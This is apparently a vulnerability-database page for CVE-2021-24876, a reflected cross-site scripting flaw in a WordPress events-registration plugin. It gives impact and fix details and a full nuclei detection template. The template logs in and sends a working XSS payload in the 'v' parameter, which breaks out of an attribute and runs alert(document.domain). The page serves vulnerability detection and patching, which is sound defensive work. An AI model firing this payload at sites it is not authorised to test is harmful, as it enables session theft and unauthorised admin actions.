Browse / CVEs / CVE-2021-24876
CVE-2021-24876· roundupwp / registrations for the events calendar· CWE-79
Registrations for The Events Calendar < 2.7.5 - Authenticated Reflected Cross-Site Scripting
mediumseverity
6.1CVSS score
1.4%likelihood of exploitation, next 30 days
74%of all CVEs are less likely
Readycheck to confirm it
The Registrations for the Events Calendar WordPress plugin before 2.7.5 does not escape the v parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting
Impact
Attackers can inject malicious JavaScript via reflected XSS, potentially stealing administrator session cookies or performing administrative actions on behalf of authenticated users.
Fix
Fixed in 2.7.5
How to confirm it
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=registrations-for-the-events-calendar&tab=registrations&v="+style=animation-name:rotation+onanimationstart=alert(document.domain)//
Positive when: contains_all(body,"style=animation-name:rotation onanimationstart=alert(document.domain)//", "<input type=\"hidden\" name=\"v\"","registrations-for-the-events-calendar") and contains(content_type, "t…Run it with nuclei: nuclei -id CVE-2021-24876 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2021-24876
info:
name: Registrations for The Events Calendar < 2.7.5 - Authenticated Reflected Cross-Site Scripting
author: popcorn94
severity: medium
description: |
The Registrations for the Events Calendar WordPress plugin before 2.7.5 does not escape the v parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting
impact: |
Attackers can inject malicious JavaScript via reflected XSS, potentially stealing administrator session cookies or performing administrative actions on behalf of authenticated users.
remediation: Fixed in 2.7.5
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2021-24876
- https://wpscan.com/vulnerability/e77c2493-993d-418d-9629-a1f07b5a2b6f/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-24876
cwe-id: CWE-79
epss-score: 0.01438
epss-percentile: 0.73368
cpe: cpe:2.3:a:roundupwp:registrations_for_the_events_calendar:*:*:*:*:*:wordpress:*:*
metadata:
vendor: roundupwp
product: registrations_for_the_events_calendar
framework: wordpress
fofa-query: body="/wp-content/plugins/registrations-for-the-events-calendar/"
publicwww-query: "/wp-content/plugins/registrations-for-the-events-calendar/"
tags: cve,cve2021,wordpress,wpscan,wp-plugin,wp,registrations-for-the-events-calendar,xss,authenticated,vkev,vuln
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=registrations-for-the-events-calendar&tab=registrations&v="+style=animation-name:rotation+onanimationstart=alert(document.domain)// HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_all(body,"style=animation-name:rotation onanimationstart=alert(document.domain)//", "<input type=\"hidden\" name=\"v\"","registrations-for-the-events-calendar")'
- 'contains(content_type, "text/html")'
- 'status_code == 200'
condition: andReferences
- https://nvd.nist.gov/vuln/detail/CVE-2021-24876
- https://wpscan.com/vulnerability/e77c2493-993d-418d-9629-a1f07b5a2b6f/
Use this check only on systems you are authorised to test. Where the data comes from